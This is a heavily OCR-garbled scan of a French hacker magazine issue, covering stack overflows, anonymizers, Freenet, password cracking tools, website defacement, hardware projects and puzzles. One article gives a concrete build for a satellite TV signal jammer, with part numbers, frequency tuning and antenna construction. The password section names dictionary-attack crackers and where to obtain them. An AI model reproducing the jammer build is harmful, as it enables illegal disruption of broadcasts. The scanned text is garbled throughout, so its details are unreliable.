nées dans laquelle les informations sonl
accessibles dans le schéma LIFQ, qui signie
Last In First Out, c'est-a-dire " derniar anirg

premier sorti *. Le scheéma LIFD est commg
ile de [ivres a Finténeur d'une boite ; on
1Jr1|unmPnl au premier des ehists,

ué en haut. Une instruction push mel

\ un objet au-dessus du stack et une instruction

| pop permet de l'enlever, Presque tous les pr:

| cesseurs disposent d'urie stack.

.“\‘.

bin2c.pl. Ce sont des outils gue 'on trou-
ve, par exemple, & l'adresse
http://mixter.void.rufaconv.c ou bien
http://search.cpan.org/src/RSE/aperl-
2.2.13/etc/bin2c.

Dans un prochain numéro d' Hacksr
Mews Magazine, nous mettrons en plz-
ce un veritable exploit qui utilise une atiz-
gue buffer overflow. A trés bientét |

Beth
ISb3 7 3remeac.com




RECOMMANDE PAR
LOFFICIEL DU NET

L 5 CAHIERS PRATIQUES DE (.m
? ff|C|EI % =

L "/ du NetB =
BEST OF WEB .. |

.pmnf Snas \mrmes
4“[] LeS1gs, commentes
_. &HEI}[IMMANI]ESI

lE MEIllEIIII IIII WEB



de vidéoconférence tras
répandu, mais de nombreux

4 § T

E“llllll
el I

Cela pourrait s'arréter la,
mais ce n'est pas le cas. Net-
Meeting exige également Mou-

verture de connexions UDP

DWZ?

Un ondinateur £51 Un 5005
réseau qui se trouve entre un réseau inteme S, par exem-
ple un réseau priv d'entreprise, of un reseau exieme gui
n'est pas entidremaent de confiance, comme Internet. (éng-
ralement, une DN renferme des systémes accessibles au
trafic Internet. comme un senveur Web ol un serveur FTP




LANCER UNE
VIDEOCONFERENCE NETWMEETING

e protocole de paramélrage nommé également ——— =
Call Setup Pratoc sgocie dyna T —

137) negocie dynamiguement les
ufiliser pour le protocole de s

atiribues arbitrairement parmi tous ceux qui sont disponibles

FEELREEey

2 dad
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USER DATAGRAW PROTOCOL

— Contraire-
ment a TCPAR. UDPAP, i &2t moins atiention 2 b précision des don
nées. Mars ¢'est justement pour oela qu'd st plus rapide et adapié
pour transmettre des données audio et vadég

I
|
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A% quentes, il est probablement . \I
Pog ahwse o 19 rideseaata plus judicieux d'adopter un pro- : l

gramme autre que NetMeeting, . '
® ..rfmmum . | B it

Lorsque le routeur le permet, -

Le choix est trés large.

Il existe des dizaines de bons program-
mes pour faire de la vidéoconférence,
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lorsqu'on S'est apercu que fon

; p BTIh
doat ns r LH]E
' a&mrslamilieudasannéas
B0, soustrayaient les NUI, les
mots de passe du réseau X.25
talien tapac et se connectaient
| aux dépens des entreprises el

de leurs usagers (Itapac colftat
les yeux de la t&le). Ensulte, ce
fut 'apparition des réseaux de
BBS, comme Fidonet, et & un




Auiretais, les phs pry-
Geny Maisaies! boy WC7aine o [eloet § b Sl
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certain moment arriva Fidobust, la premig-
re grande aftaque de la police contre les
sarvaurs el las citoyens,

not Le systéme de connexion actued
permet de conserver trés facilement une
tracabilité de ceux qui se connectent ou qui
laissent des messages. Les premisrs qui
s& rendirent compte du probiEme furent les
Finlandais (le pays de Linus Torvalds T) Iis
lancérent alors le premier anonmymizer de-
mail, angn.penet.fi. Le systéme fut largs-
ment utilisé jusgu'a ce guune enguéle de
police empéche les administraisurs de
remettre une fiste des ventables sdresses
des usagers du systeme. Par la suile, i fut
abandonné.
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Des petits anonymizers
gui deviennent grands

&t oN est mame-
nard parvenu a un anonymat de i nawga-
tion en passant par un navigsisur, avec des
systémes comme hitp://anonymizercom/
En méme tlemps, de nouveaux protocoles
da chiffrement, tels que SSL et SSH, ont
permis de lancer des systemes oS conne-
00N SEcuTsas dans lesquels jes donnéas
sont relatvernant anomymes, méme Sioala
dépand de limplémentation

[ cas la chal
ne de caracieres Teinet gue tefiement e hao-
kers utilisaient pour augmenter ka difficule
de tracabilité (du style : je fais du Teinet sur
ordinateur avec lequel je fais un autre Te
sur un autre PC, que Jutilise pour effec-
tuer un troisieme Telnet sur un quatrieme
ordinateur, etc.) A la fin, on s'embrouillait sur
une machine placée & la fin d'une chaine de
caractéres de lellement de Telnet successiis

gue cela compliquait énomeément les cho-
ses pour remonter jusqu'a lNordinateur de
départ, celu a partir duquel Fattague avait
dautre part, biindé leurs serveurs et aujour-
dhui on ne trouve plus de Teinet anonyme sur
intermet, comme cela amivait autredois.

Le jeu du gendarme et
du voleur

Il y a ceux dort & préoccupation
est que Fanonymat sur le Reseay favorise
lactivite des tenmorisies ou des criminels. D'un
autre coté, les personnes honnétes et de
bonne fiol ont le plein droit de protéger leurs
idées des intrusions non souhaltées, quielies
proviennent de la police ou des malfaiteurs
Dans des pays comme la Chine ou lran, le
droit a l'anonymat, de fait, est un droit a la
sécurité personnelle.

il
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| tier Foundation

m'inguiéte pourma |
fille et pour Internet, |
éme si elle est |
neere trop jeune §

e iracasse parce
que dans dix'eu quinze ans, elle §
viendra me demander: papa. ou
elais-fu lorsgu'ils onf ofe Ia liber-

| - Mike Godwin, Electronic Fron-

| Freenet est un logiciel libre
' qui permet de lire et de publier
‘ des informations sur Internet, '
sans souci et sans craindre
d'étre censuré. Le programme

crée un réseau décentralisé de
communication anonyme, par-
ce que sans anonymat il ne
peut y avoir de reelle liberte
d'expression et que la décen-
tralisation la rend moins vulne-
rable aux attaques extérieures,

On dirait la description d'un
banal reseau peer-to-peer,
mais avec une difiérence fon-
damentale : sur Freenet, les
communications somt cryplées
et acheminées de nosud en
noeud, de maniére 3 ce gue
personne n'arrive & connaitre
les identités et les informations
dont il s'agit. Avec le peer-to-

peer, ces informations sont en clair et tou
le monde peut voir ce que nous teléchar
geons et a partir de quel endroit.

Un effort collectif

Les participants de Freenet mettenta
disposition de la communauté une par-
tie de leur disque dur (le data store) el
de leur bande passante. Comme pourle
P2P ? Pas du tout, car le data store en
question renferme des fichiers chiffrés
que le propriétaire du disque-ne peutni
lire ni contrdler, Le mécanisme de gestion
de 'espace est automatigue et base su
la popularite, Lorsque l'on a besoin de-
space, les fichiers les moins apprécies




de la communauté Freenet sont suppri-
mes,

De plus, contrairement aux classiques
réseaux peer-to-peer, Freenet a de nom-
breuses utilisations autres que le partage
de fichiers. Sa structure ressemble davan-
tage a celle d” un Internet a l'interieur d'n-
tarnet ", si bien qu'll est possible de publier
également des sites Web (Freesite) et d'ou-

. Freenet Projec
/ h‘.r:::-. netproject.org/

AU CENTRE
Du RESEAU
DECENTRALISE

I.I! s Fraenet est Ig site gu mémea nom,

hitp:/ffreanel. sourcaiorga.nel,
Au lien *Support’, on trouve une série de mai-
ling-lists, de mises & jour, d‘lnmrm-aﬂuns de
support et de déve

index.php?page=tools
d'outils qui simplifient et facilitent Ia gestion.

[oppement, ainsi gu'un chat
room pour discuter de Freenet en temps réel.
La page hitp://freenet.sourceforge.net/
renferme toute Une série

HEWEAIE

PAR OU COWMENCER

Puumdnimmﬂ , |a page de dépan est celle-cl : hitp:/Treenel.sour-
calorge.nat/index, php? page=downioad. On y trouve les fichiers exécu-
Dgour Windows et pour Unix/Linux, Ce demler marche également sur
X, & condition d'tre suffisamment compétent pour effectuer quelques
modifications dans les fichiers Shell de démarrage de Freenet.
La premigre fols qu'on lance Freanet, le temps d'aftente est assez long, de
I'ordre de plusieurs minutes. Ceci esttout & fait normal et sert au logiciel pour
Incaliser et se connecter avec notre ordinateur 4 d'autres noeuds du réseau.
partir du second démarrage. tout ra plus rapidement.

Freenet

vrir des forums de discussion, en plus bien
éviderment de la fonction de distribution de
contenus.

Freenet constitue aujourd'hul un outil
d'avant-garde dans la défense de la
liberté sur Internet. Le logiciel a éte tale-
chargé par plus de trois millions de person-
nes, et pour beaucoup d'entre elles, qui se
trouvent dans des pays " non libres "
comme la Chine ou de nombreux Etats
du Moyen-Orient, il constitue une res-
source irremplagable, & laguelle cer-

tains doivent méme leur sécurité physique
et personnelle, sinon la vie.

Avoir trop de noeuds Freenet ne'con-
stitue en aucun cas un probleme, au
contraire, ils ne seront jamais assez
nombreux. Quiconque decide de metire ¢

a disposition une partie de son disque dur
le falt pour la liberté de tous et dans l'opti-
que d'un projet communautaire trés impor-

" tant. Si quelqu'un le fait, cela nous intéres-
se de le savalr |
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a liberté d'information dont
nous jouissons est assez fra-
gile et, puisque les télévisions
par satellite représentent Un
aspect toujours plus important du
monde dela communication, le

"du futur se doit de passéder des
connaissances dans ce domaine,

Caot article lllustre I'exemple d'un dispo-
sitif en mesure d'etlectuar le jamming
(brouillage intentionnel) d'une fréguence
at, par conséquent, de provoguer " obscur-
clssement' d'une chaine téléyisés par satel-
lite. Cet article est uniqguement & usage
didactique. Gare a ceux qui ezszieni de
s'en prendre réellemeant & une chaine de

télevision | La liberté d'exprassion est
sacrée.

Le jammer

Le jammer (ou broullieur intentionnel)
crée du bruit, accordable et & basse
puissance, compris dans la bande
somore entre 1,52 et 1,59 GHz. Le signal
en guestion est amplifié par un circuit
HMC444LP4 SMT GaAs MMIC x8 produit
par Hittite Microwave Corporation, qui le
multiplie par hiit en le por .parexam-
ple, de 1,525 GHz a 12,2 i passe
ensuite par un amplifi cateur NBB-4EID
GaAs MMIC Amplifier de RF Micro Devi-
ces, qui ajoute environ 10 décibels au
signal pour le porter & environ 13 dB (une
vingtaine ce milliwatts),

Le signal est désormais prét a étre envo-

vé a n'importe gquelle antenne méms

artisanale, el sl celte demiére est suffi-
samment proche d'une parabole TV, elle
pourra broliller, griice au bruit engendré,

[n20]1 [wwwhackermap.com] |

Une petite carte comme celle-ci contient
pius guil men faul pour eréer un jammer
[brovilledr intentionnel] du signal [élévise
par satellite.

la puissance d'un

signal télévise comme

celui des principales télévisions
par sateliite.

Le generateur RF

Le géneérateur part d'un signal vidéo
standard, comme la sortie d'un magne'
scope ou d'une console de jewx vidéo, oul
avec un amplificateur différentie! »
cotrant continu contrdlé manuellement et
gt applique & la ligne
Violtage Tune d'un oscillateur M3500-1324
de Micronatics.

b




Le résultst final obtenuy

esl le signal de fre-

quence compris

entre 1,58t 1,6

GHrx dont nous

svons déja

parlé plus

haut et dont

la'réglage de

la synionisa-

tion fine est

affectué gréce

a des potentio-

métres. La fré-

quence exacte du

signal dépand de celle

du réoepteur a bioguer. Si la

parabole recevatt sur 12,428 GHz,

il faudra diviser par huit et donc régler

foscliateur sur 1 5535 GHz. Comme ia

frequence est reglée manusliement st

n'est pas contrdiée par des synthés-

seurs PPL, on pourma rencontrer des
effists de dérve, & comger si bescin est.

Quant au reste. 'output en radiofréguence

de [oscilateur sera module en fréquence

aveC le signal video standard =t constiluss

ra une excellenta source dinhibition du

signal télévisé & bloguer

RS
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e méme rudi-
meataire.
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Tout peut faire
office d'antenne de
transmmission, il suffrt
gue le materiau soit
conducteur, Par
exHermple, un morceau
de tuyau ferme a une
extremite, auguel
on connecte un cable
coasial, convient
tres bien.

Le multiplicateur

Hittitea Microwave vend sur son site
hitp./vwww hittite.com une carte entidre-
mant foncionnedle pour Nsilisation ou or-
cult HMC444LP4. Deux connecteurs sont
montds sur s cane. un pour lenirée et aes-
tre@ pour 2 sortie en radiofréquence gqu
demande une alimentalion de cing voits o
non supéerieurs & gueigues millampéres.
Pour cette applicaion parficuliére, le cirouit
travailie en rdalilé en cehors de son domai-
ne dactivité, mas fonctionne guand méma.

4
Dl (¢ schemastiu disposilif

L amplificateur

Il vaut misux l'acheter tout prit, car Il
ast ditficile d'en fabriguer un, Richard-
son (hitpuicatalog. redl.com) le vend au prix
abordabie de 35 dollars.

Attention a ne pas utiliser de cables de
mauvaise qualitéd ou trop longs, car ceux-
¢ peuvent provoguer une perta de puis-
Sance.

L'antenne
Pour falre office d'antenns, on peut
ullliser un morceau de tuyau de culvre
de 2.5 & 3 contlimétres de diamétre el de
guatre a cing centimétres da

longueur. L'extrémilé sera

refarmeés par un monceau de

culfvre soigneusement souds

sur les bords exiérieurs du

tuyau. Celui-ci sera ensuile
soucd & son Tour sur un mor-

ceau ge cabie coaxal nu. relié

a la sorbe du NBB-200. Ensus-

te, Haut connecter lensembie
defacon & ce que le pont focal

dune ancienne parabole | eou-.

peree & la décharge, par ceer-

g‘;ﬂ un gain de 30 dB

Bien évidemment
ool est Bustré
B thegnque, et

T

- =

" o

de brouillage intention-
nel. I a Mair ésotérique,
[mais on pey d'esprit &'ink
liative el thabileté
manefe permettent de
parvenir au résuitat

final (rés rapidement.

[(pZ1]_[www.hackermag.com )




visiter natre biog,
sans prabléme de
navigateur

Ieeds RSS ile lontes Serles, gar exemple
B‘ pheatz: btp://ww shargreaderig]

ROBS pears rms EFI‘ m'. {r .r ies fﬁ.rm ) jE

<““k fEI"ﬂEhIﬂ" " tIF' Dme"

hwel="Titx//adresse/page/home' /5




SPECIFIER LADRESSE
DUN FEED RSS

I_: tag <ink> peut également atre wlili-
e pour specther |'adresse du feed
RSS d'une page. Dans ce cas, la syntaxe
est [a suvante :

hirkered="precdent” bitle=Titre de la page

precedente” href="hiip://adresse/ fink rel="altemale” lype-"applicationTss+xm

page/préecedente” /£ title="A55" hrel="ad fikas

link rel="suivant " title="Titre de la pro-

chaine page” href="hitp//adresse/pro Il n'est pas obligatoire que le titre soit
' chaine/page” /> “RSS °, mais il est préférable gu'il soil

descriptif, a partir du moment ou certains
navigaleurs, comme Moailla ou Lynx, le

rendent visible

LINK. IN MoyABLE TYPE

Puur ajouter les tags <link> a un blog
créé avec Movable Type, il faot
sjouter ce qui suit au template Date-Based
Archive, tout de suite aprés le tag

a
<heat»

i Toujours tout de suile aprés le tag <head>,
if faut ajouter au template Indridual Entry - s e
Archive Ce gui suit | :

p23  wwihackermag com




EN SOURCE

_—

= Pnurr;um ouurir un

Et bien, cetle idée peul réel-
lement devenir un projet open
source. Vous pensez qu'il faul
savoir programmer pour cela 7

Pas du tout. En créant ce projet, vous allez
trouver des collaborateurs qui vous appor-
terant chacun leur savoir-faire. Il vous suf-
fit juste de connaitre langlais.

[p2d’ [ www.hackermag.com

comple ¢

est SourceFor-
ge, htip://sf.net, qul a accueilli un nom-
bre trés élevé de projels : presque
100 0001 |l faut d’abord créer un comp-
te sur ce site, avec un pseudonyme et
une adresse électronique valide. Pres-
gue un million digscets ont réuss| a le
faire, alors pourgUBipEsspous |

DAUTRES OTlOHS
POUR LOPEN
SOURCE

Sj- =F rrj"-" gl certainernent |2 premiey
eadroit od | faud enregistirer oo projel,

HAIS -_I Y & sussi Freshmen
(http/ffreshmeat net). Pour Mase, il e
xiste pas de hens comme SourceFome,
mais il y 2 beaucoup de sites généram
sur ges projels specriigues ou sur lopes
source. Pour n'en cilér gue quelques-uns
http/fwww openitalia.net, s «Linus Uss
Group=, (hitp:/fwww.ziobudda nstl
lug/), htp/fwww.spaghettibrain com
<http.//it.openoffice org/> &l bien évidem-
ment I'Open Directory a l'adresss
30http-//dmoz org/World Ttaliano/Compus
ter/Programmazion&®Open_Source/

En somme, il suffit souvent d'un peu de
bonne volonté et d'envoyer un e-mail pour
que tout s'enchaine tnés rapidement |

pour débuter la procédure d'es
gistremen! en dix étapes. Le plus diffics
le étant de nommer le projely
d'expliquer (en anglais) de qualll
s'agit el de choisir la calégorle dang
laquelle il rentre. Les dillérentes
calégories sont les suivantes ;

Logiciel

Documentation




Enattente
d'autorisation

Une commission de SourceFo
évalue le projet et, sl l'idée a |

bonne, i

®

PAS QUE DES
PROGRAWMES

y 8 ceux qui pensant qu'open souice,
Linux ¢! iogiciels sonl synonymes. Hs ne
soit pas ioin de Iy virilé |
¥ exists une cdilbre encyclopddie opan sour-
ce - Wikipédia htip./werw. wikipedia.org
{avec une version en i), une initiati-
ve légale nomm Openlaw

(http://cyber law. harvard edu/opentaw/) et
méme yne boisson gazeuse, Opencola

{http:/Awww.opencola.com),

h - o -
iy seovel Lol oot ey
ﬂ!f:n
Y i reassy § e
it
]

frame § Padresse MUy /alire-
2 setivia ael/saf) drigk for-

]
projets d
COurs,

Bath
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HARDKWARE

Assagier webeam, télévisear et ordinatesr
portable pegr créer un Sysiéme de contrale
4 distance permetiant de vissaliser ser me

TV larrivée o'un infras. Pour cela, /esseati!
est o avair les cables adéquats

NI}

“Fﬂ-—-----‘ —— o  ——— - [P ——

" =y ‘ ” “ j"_ — . E—
SN : :coﬂo : =Soununﬁs
1 a suivre pour I | Lamrpm'usa.e nousdevonsawoir | | Sur la broche S—Viqéu. du ¢t
i cmmr I i apmeedeiatjran une prise S-Vidéo, L 3 des squdures {la ol les bom:
| i | RO o pot concurssa § § Connicrer o condanasin -
I il faut joindre la céramigue de 470 pF. La valeur de a : : deux bornes les plus proch:

sorte S-Vidéo capacité est inscrite sur le condensa- puls souder 'un des deux fis
: de la uminance Y (intensii= ksmineuse) et cal- teUr, da mariere un peu Strangs | géne- g i cable que nous NOUS Somm

ke de la chrominance C (couleur) & 'aide du ralement, elle est de 471 (il s'agi ben B procures sur celle de gauche (v

petit condensateur de 470 pF. Joignons égale- siir de picofarads, une unité valantun | | schéma). Ensuite, il faut joind

miliéme de miliardiéme de farad), ol 1 | I les deux bornes les plus é
représente le nombre de Osetrouvant | | gnées avec le deuxiéme
dira 47 dope 471 _470pF | | notre cAble. C'est le méme fi

| peu plus dénudé, qui fait office o

j pont de liaison : soudor

j 'ensemble.

ment les deux masses | Yg et Cg (g pour ground
= masse). Les deux fils ainsi obtenus s2 bran-
chem, par ntermédiaire du cabile, sur lantréa
jaune du téléviseur, celle de la vidéo
Dans ce schéma, nous avons utifisé les pho-
tographies de la prise S-Vidéo et de |a prise
RCA pour bien faire comprendre le résultat que
l'on souhaite obtenir. Vue du cité des soudu-
res, la broche S-Vidéo que nous uliliserons est
une prise dont les bornes sont disposées exac-
tement comme celle que 'on voit sur fimage.

[---Np~~saza




>

omment procéder pour connecter une webcam USB & FONCT|0HNE“EHT
notre TV ? Ce n'est pas =i simple, parce gue la webcam |
posséde une sortie USB, mais que, pour compliguer les DE Y ET c

choses, notre portable dispose uniguement d'une sortie S-
Vidéo (une prise ronde & quatre broches) pour connecter

un moniteur extarne. De méme, si ke téléviseur n'est pas de ransiérons le signal vidéo en mode “composi-
trés bonne quaité ou ancien, NouS Ne rouverons pas lentrée come- nos appareils, par '“'IETF'IE"E. enlre l'or-
spondante. En revanche, il comportera peut-Stre une prise jaune et s léléviseur. En realité, les caméras

ronde de type RCA servant a fare passer un signal vidéo dit “compo-
Comment combiner toutes ces choses 7 C'est trés simple, il faut créer
un cable adaptateur |

Pour fabriquer un cable RCA, il suffit d'un fer & souder, dun peu
d'étain et de beaucoup de minutie, car nous devons travailler sur des
composants trés petits.

Avant tout, nous devons nous procurer ) la méme quar

Une prise 5-Vidéo

Une prise mobile RCA (
h Lin bout de cAble & deux fils, i .II‘.I[H!I"' O |r||||| 1r lumino

d'environ vingt centimétres point et un a ela comvient tré ;
de longueur [ VIBEUIS NOIr ¢ |I||1|_.||--|,u-. NOUS POUITONS env
Un cordon RCA male/mdéle, de la lon- yEr Lnigue i (

guetr souhaitée .tp[urwll" e couleur, n

{(Facheter tout prét : , Cide fa chrominance, |

permet de gagner — -— k2 luminance d'une pan

du temps)
Un condensateur en ceramique 470 pF

nimpaorte quel magasin de matériel électroni-
que, pour quelgues euros seulement.

la prise mobile RCA. Avant cela, il est impératif de faire passer |
le fii dans le chapeau de Ia prise qui couvrira l'ensemble. Si | /
nous ne Favons pas encore fait, || est temps de faire glisser |
celui de la prise S-Vidéo. Maintenant, relions ia borne centra- |
le au fil provenant du |
condensateur et con- B
nectons le fil prove- i
nant des deux bormes i
da masse a la masse
latérale que nous
avions jointe a la prise
S-Vidéo.

< pourcentages de b

|'|1:|II rn.l;}|1'1 Pn r l'image, avac Ii n
couleurs

| (027) (wwwhacksrmag.com) |




~HARDWARE
2

CABLE

b Voici comment le cable se
" présente, avant que nous
|

i

rufarmmns les chapeaux

de l'insérer sans souci a
Iinténeur de la méme broche.

FINAL

MNotre ordinateur poriable est désormais refié & notre téle-
viseur. Un cordon RCA male/male a permis de brancher
la prise du téléviseur 2 celle du cordon que NoUS avons
réalisé. C'est un excellent accessoire & avoir toujours
avec nous, pour diffuser des images sur n'importe guel
téléviseur, méme ancien.

i,

& -~

#--

‘-------——.——-------

"""E%;:""'“ifff"”
WEscAWM

f. Grace a votre webcam,
VOus pouvez voir sur
Fecran da la TV si quel-

qu'un rentre chez vous.

"---_--------_----

:* INTRUS SUR LA TV

1

|

I :
Aftention | Vous

’x voyez un intrus

I i s'approcher de

I 1 chez vous. Don-

1 \

nez lalzarme !

INTRUS PC

Nous pouvons visualiser les images |
filmées par notre ordinateur a la fois sur |
son écran el sur l'écran du télévissur.

standardbus®softhome.net




appele un " crack ".

EXEMPLE

e fait de decrypter un
mot de passe ou de
contourner un schéma
de protection est

Y

¢ lerme 51 appary en meme lemps que le systeme d'explol-
Lation Unix,
L'ensemble d2s mots de passe cryples des utilisateurs enregi-
strés esl regroupe dans Iz fichier * fetc/passwd . Cela ne per
met pas a I'administrateur systéme de lire les mots de passe,
mais ces domiers peuvent uniquement éire remolaces par un

= Fleeze serd @estione/problee ceporiz o (ORAUATOUE HU (ret mot!) =
R R 8 A B S R B e
fima teee mall,

§ poaged

pangnadz  Changirg paszword for sojjed

[wier BlD postwrds;
Wew preosscd:
ihwmrd 16 el whwre
W parmeordi

Bpeenibir res padsiang;
Py oomC e mItChG EEY DOl
Ll

| beorier e pEsTwErd:

§ e

mad o feant O charmciers.

pEswds  Chonglng mrrsesrd foF o) med

Enier OL0 posswoeds

Mew po=oeqrd!

[hum W ONAEER @ LT e ol e o e

o4 e ohe ST Gr SpeCial chormT e
Wei passeard:

|crypté. C'est ainsi que

autre mot de passe
automatiquement

I'on a développé un
programme appelé
" ¢crack " capable de
tester ies mols de pas-
se potentiels associes
a un utilisateur, Ce pro-
gramme agit on répéa-
tant une serie de fests
a partir d'un diction-
naire de mots choisis,
grace 4 la technigue
nommee * Attaque par
dictionnaire ",

2 classique atfague du crack n'est pas une aitague massive par
lie on dézouvre un mot de passe apids avolr testé toules les
i g potentielies. C'est pluift une taque dont l2 but est de
trower fes mots dz passe les plus * faibles *, clest-i-dire cew: que I'ona
insérés sans tenircompte de ceraines réules ce sicurite Slémentaires, par
exemple la date de naissance personnzile, i nom d'un parert ou d'un ani-
mal de compagnie, d'un personnage c2lébie, elc, Pour wester un crack, ||
fautse procurer fe programme. Sous environnement Unix, [ ast souvent
simplement appe¥ ° crack . Sous emvircnnement Wrndu"r ‘el e
mmythique programmé " I0phiCragk : I sLC

Brutus est un crack trés populaire, mals non mis & jour, qui permet de
gracter les mots de passe & distance ; www.haobie.net/brutus/index. himl.
Un programme au nom {rés similaire s& rouve 3 |'adresse

VAWNLCIAK.COM.

Secyrite

our renforcer |z prolection d'un sysigéme costre |es attagues d'un

crack, I'administrateur sysi2me utilise souvent les mémes outlls
qQue ce darnier.
Cela lul prrmet de ne pas altérer les mots de passe mémosnisss par les
whilisateurs, d'avoir 1a possibilitd de les lire at de découvrir ceux qui
ne résistant pas 8 I'attaque du crach, o'est-d-dire les plus faiblas,
Aprés qued, il conseillera & I'utifisateur intéressé de modifier plus sou-
vent sen mot de passe, en lui indiquant les meillentes fagons ¢'an éla-
borer un gui soit plus difficile & trouver.

Une adresse FTP ol voss pouvez éventuellement télécharger

le programme Grack puur Unix est : fip:! rtp Ceras. purdue, &d Ufpub tools’
Lo e J

associer : fin./ft




ENCYGLOPERIE,

I[EXEMPLE

efacement
(definition)
Action de
pirater et
détourner un site
Web, en le modi-
fiant.

e défacement est souvent pratiqué par les
hackers. A |'origing, il s'agissait seulement
d'un moyen de désorganiser un systeme de sécu-
rité afin de pénétrer dans un site Web. La page

B 5

e a0 By = LiPg lamiy II-I----.--.l

détournée pouvait ainsi afficher des phrases péjo-
ratives, des blagues ou des liens anonymes pour

se mettre en contact avec |'agressaur,

-

Les hackers de plus haut niveau onl déja aban-
donné ce lype de défacement. [is préferent désor-

mais l'anonymat absolu qui consiste a s'introduire

dans un site sans laisser aucune frace. Les raisons
iy défacement sont diverses - parfois. les pirates

agissent pour leur propre compte, dans leur seul

intérét, mais pas toujours. On peut en trouver un
exemple - un défacement réalise par un hacker ita-

lien - sur le site http:/fzoneh.orgen/detacements,mir-

rorfid=1984108/

Beaucoup de défacements ont pour cible les sifes
instilutionnels - en raison de leur libre accés -
dans un but de protestation soclale ou de reven-
dications politiques. Mais les défacements les '
plus pernicieux organises par des communautés de hackers se
font & I'encontre des sites, souvent * open source °, d'organisations
caritatives. Inutile de préciser gue ces procédés, outre qu'ils sont
indignes, sont sans préavis de I'administration du systéme.

T

Rl dE

W |
o |

Ces aﬂ'mm_s SO0
=

(ualites requises
ne bonne connaissance des systames d'axploitation Unix,

o Linux et Windows est indispensable,

|| mxiste différents modes de pénétration dans:un serveur, mais fa

" réussite ' de l'opération est presque toujours & mettre sur |8 compte

'un défaut du systéme ou de ['incapacité de |'administrateur 3 pren-
dre les masures approprides pour la protection de san néseaw.

UNE IMPORTANTE COLLECTION DE SITES DEFACES SE TROUVE A CETTE

un systéme complétement protépé est presque impossibile,
mais o peot parvenir & un plus haut niveau de protection en approfon-
fissant se5 Propres cannaissantes des divers systémes d'exploitation. Pou
ceia, il est nécessaire de blen sulvre las modes d'instaliation indiqués dans
les manuels. Les hackers détournant de préférence les sites et programmes
ﬁ[hle.mmt prutéués n&r plua Il MHEWMWW un mta-

ADRESSE : http:/fzone-h.org/




DEX H:Fﬂ"::: MANOUE D CLART
EN S:HIE -

ENIGME DU NUME

ERD B :

POLUR TOUS ; Combien d'étapes faut-ll
pour atteindre le chiffre 1 avec la série 3n+1
en commengant par le chifire 27 7
Le chitfre est
GRWMHXFUSPYONJJPJVWGFOFRATLO
RFR et la clé est 19, Chaque letire comre-
spond & un chiffre. Quel est le message 7
La clé est
132113213221133112132123222110.
Comment l'avons- nous generee 7
POUR LES SUPER HACKERS : Ecrire
LN programme qui accepte un chiffre el qui
reproduise les élapes de la séne 3n+1.Ou
bien rediger un programme gui produise
tout seul, jusqu'a linfini cu pour un certain
nombre d'étapes arbitraires, la série pour
les genies. Qui peut ammiver a trouver une
seérie trés simple qui produise une serie
interessante, comme
0110100110010110100101 10011010017

Les reponses etaient...

I '_'.i'ﬂl"nr_'up Faln mn serpe
Hailo bl N #a

LR I e e el il .

T Tl 1.-1.- iy [yl bris. Plaer's alprtio,
ey ——_ il e et
Wit

POURTOUS ;: 111. La série 3n4+1 est con-
nue sous le nom de conjecture de Collatz.
A ladresse hittp://did.mat.unibayreuth.de/
personen/wassermann/fun/3np1_e.himl,
on trouve un petit moteur gui calcule auto-
matiquement ke parcours de chaque chifire.

On peut trouver egalement d'autres infor-
mations a l'adresse hitp:fpersonal.compu-
train.nlferic/wondrous
FIREFOXMOL-

TOMIGLIDHEDIE}{PLDHEH

Pour créer la série,
nous sommes partis du chiffre 0. La série
est composée de "1 et 0", donc cela don-
ne 10. Comme "deux 1 et un 0" donne 110
ou “trois fois 1 et une fois 0" donne 3110,
el ainsi de suite.
POLUR LES SUPER HACKERS : LIne
solution possible est le JavaScript que I'on
trouve a l'adresse : hiiptrucsmaths free fif
15_syracuse him# essayez.

Upici les reponses !

POUR TOUS : ANG3LO (Premier arrive !
Nous publierans le reste dans un prochain
courrier), Yahoo, Microfrog (nous som-
mes en Irain de nous exercer sur tes enig-
mes !), Vise89, DarkVampire909, Simone
“The Crow™ (Excel), rodry, .moronc..
Meslola, InferneiB9, Scott

Adamkliss.

Mr. 18, MatteoGeniaccio (Visual
Basic), impy, KillorXian, Marco Mannel-
li.
SUPER : Thorn (Java, m&me notre profl),
Syst3m Crash3r 480 (C,

en ayant répondu aux questions
posées dans [a section super hac-
kers je vous informe du mangue de clar-
té des questions destinées, d'une part aux

experts, d'autre part aux génies [...]
vagabondo

Cher Vagabondo,

MNous essaierons a l'avenir d'étre plus
rigoureux. Mais, tout de méme, quelgques-
uns ont compris sans gue nous ayons a
faire une dissertation mathématigue...
Merci de ta remarque et a la prochaine |

http:/www.syst3merash3r.altervista.ong),
ingtosi (C), vagabondo (C++). NDV
(Visual Basic), Mikispag (Pascal), Fire-
Storm (Php), Bigthistle (grande!), Snake-
blu (Java), Wurldshmlng (executabie), -

-"(EaglE) - = {C),
op-en mml:l (Python, 14 ans |), Libero_4
(C), Temez (Pascal), JOE (Visual Basic,
consacré a Chia), CMOS (VB&), EgiX
(JavaScript et VB), claudio carletti (Java),
Enrico Sunseri (http:/fwww.cs.oswego.
edu/-blue/book/part1/start.himl), Kaesar83
{script mIRC), Andrea Fadda (C), DU3
(Pascal et bash), Matteo "Field" Campo
Dall'Orto (PHP), Devil Angel666 (C), Laki-
tu (Python), SkataAlice (C), Black Anti-
toon (VB, http://utenti.lycos.it/antitoon),
c1a0 (Turbo Pascal).
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Salut, & la prochaine ! Toujours indiquer
cyberenigme et le numéro du magazine
dans les réponses | Ecrire a ladresse ind-
quée sur la page ou a celle ci-dessous |
Banrg the Gnoll
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DE FIGHI

DOSSIER -
LUTTER CONTRE LES ¢ /\

FICHIERS Leunmas, N
La chasse au pirate a
SUCCOMBERMAU du plomb dans I'aile |

RESEAUX® . PRISES EN MAIN

ABG Torrent, Piolet, Mute

GRYPTES Fake MP3 Detector, Hi{![]ﬂ[:k:
AudioGrail, Convertir en Divi
(qui vous dita vérite




